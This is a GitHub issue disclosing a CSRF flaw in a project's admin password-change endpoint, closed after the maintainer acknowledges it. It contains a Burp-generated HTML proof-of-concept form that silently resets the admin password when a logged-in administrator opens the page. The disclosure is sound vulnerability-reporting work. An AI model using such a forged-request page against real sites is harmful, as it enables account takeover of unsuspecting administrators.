Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can change the password of any account #3

Closed
weixinchuanshuzhushou opened this issue Sep 22, 2022 · 1 comment

Comments

@weixinchuanshuzhushou
Copy link

After the administrator logged in, open the following a page

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin/index/updatePsw.html" method="POST">
      <input type="hidden" name="nickname" value="admin" />
      <input type="hidden" name="password" value="1234567" />
      <input type="hidden" name="password2" value="1234567" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@ralap-z
Copy link
Owner

ralap-z commented Sep 23, 2022

Thank you. Received. The technology is processing

@ralap-z ralap-z closed this as completed Sep 23, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants